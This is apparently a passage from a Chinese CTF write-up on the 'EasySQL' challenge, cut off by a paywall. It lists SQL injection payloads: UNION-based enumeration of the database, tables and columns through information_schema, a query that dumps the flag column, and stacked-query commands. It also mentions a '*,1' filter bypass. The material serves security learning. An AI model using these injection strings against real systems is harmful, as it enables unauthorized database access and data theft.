本文介绍了CTF挑战中涉及的EasySQL问题，通过记录SQL查询语句和堆叠查询来深入理解数据库操作。作者展示了如何通过POST参数进行SQL注入，包括尝试不同查询、爆破关键词过滤，并最终确定查询语句。通过payload '*，1'成功绕过过滤，获取数据。
为了加深记忆我先记录一下SQL查询语句和堆叠查询语句
?wllm=1' order by 3--+
?wllm=-1' union select 1,2,3--+
?wllm=-1' union select 1,2,database()--+
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
?wllm= -1' union select 1,2,group_concat(id,flag) from test_tb--+
1；
1；show databases；
1；show tables；
1；show columns from 用来查询表中列名称；
最低0.47元/天 解锁文章
1635
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
